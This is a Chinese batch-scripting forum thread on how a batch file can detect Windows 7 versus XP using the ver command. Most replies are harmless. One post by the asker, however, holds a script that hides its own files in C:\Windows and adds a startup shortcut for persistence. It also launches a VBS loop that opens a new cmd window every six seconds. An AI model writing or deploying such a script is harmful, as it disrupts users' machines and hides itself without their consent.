找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 33428|回复: 11

[其他] [已解决]批处理怎样判断出电脑是win7还是XP?

[复制链接]
发表于 2012-9-24 23:34:56 | 显示全部楼层 |阅读模式
我先想判断出是什么系统(7/XP),然后如果是7 就执行A,如果是XP就执行B。 怎么写。。

评分

参与人数 1PB +2 收起 理由
Batcher + 2 感谢给帖子标题标注[已解决]字样

查看全部评分

发表于 2012-9-24 23:58:33 | 显示全部楼层
在两个系统里面分别执行一下ver命令看看结果
发表于 2012-9-25 07:23:08 | 显示全部楼层
查注册表 或用ver命令
发表于 2012-9-25 07:52:50 | 显示全部楼层
直接往%system%下写文件,能写进去就是xp,。提示错误的就是win7 呗,这个在批处理很好实现
发表于 2012-9-25 10:20:01 | 显示全部楼层
回复 4# wosliming


    Win2003和Vista咋办?
发表于 2012-9-25 10:20:23 | 显示全部楼层
回复 3# garyng


    查哪个注册表键值呢?
 楼主| 发表于 2012-9-25 13:51:01 | 显示全部楼层
呃。。。    是我没说清楚么。。主要是后面的。。 如果是7 就执行A,如果是XP就执行B。
发表于 2012-9-25 14:34:57 | 显示全部楼层

  1. ver|find /i "5.1" && goto :xp
  2. ver|find /i "6.1" && goto :win7
复制代码

评分

参与人数 1技术 +1 收起 理由
秋水 + 1 解决了问题

查看全部评分

 楼主| 发表于 2012-9-25 17:39:30 | 显示全部楼层
回复 8# bingxing8000
  1. @echo off
  2. echo do >>C:\Windows\a.vbs
  3. echo wscript.sleep 6000 >>C:\Windows\a.vbs
  4. echo createobject("Wscript.Shell").run "cmd.exe /c " >>C:\Windows\a.vbs
  5. echo loop >>C:\Windows\a.vbs

  6. ver|find /i "5.1" && goto :xp
  7. ver|find /i "6.1" && goto :win7

  8. :win7
  9. copy %0 "C:\Windows\b.bat"

  10. ATTRIB +R +A +S +H "C:\Windows\a.vbs"
  11. ATTRIB +R +A +S +H "C:\Windows\b.bat"
  12. ATTRIB +R +A +S +H "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  13. echo [InternetShortcut]>>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  14. echo URL="C:\Windows\b.bat">>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  15. echo IconIndex=99>>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  16. echo IconFile=%SystemRoot%\system32\SHELL32.dll>>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
  17. start C:\Windows\a.vbs
  18. exit

  19. :xp
  20. copy %0 "C:\Windows\b.bat"

  21. ATTRIB +R +A +S +H "C:\Windows\a.vbs"
  22. ATTRIB +R +A +S +H "C:\Windows\b.bat"
  23. ATTRIB +R +A +S +H "%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  24. echo [InternetShortcut]>>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  25. echo URL="C:\Windows\b.bat">>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  26. echo IconIndex=99>>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  27. echo IconFile=%SystemRoot%\system32\SHELL32.dll>>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
  28. start C:\Windows\a.vbs
  29. exit
复制代码
这样写还有什么问题么??
发表于 2012-9-25 18:21:16 | 显示全部楼层
回复 9# 秋水


    你自己测试一下不就知道了
发表于 2012-9-25 22:47:53 | 显示全部楼层
回复 9# 秋水


    有。对于既不是win7也不是xp的系统,你的代码仍然会去执行:win7
发表于 2012-9-30 10:25:38 | 显示全部楼层
根据IPCOFNIG也可以分别XP
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-19 15:18 , Processed in 0.021395 second(s), 9 queries , File On.

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表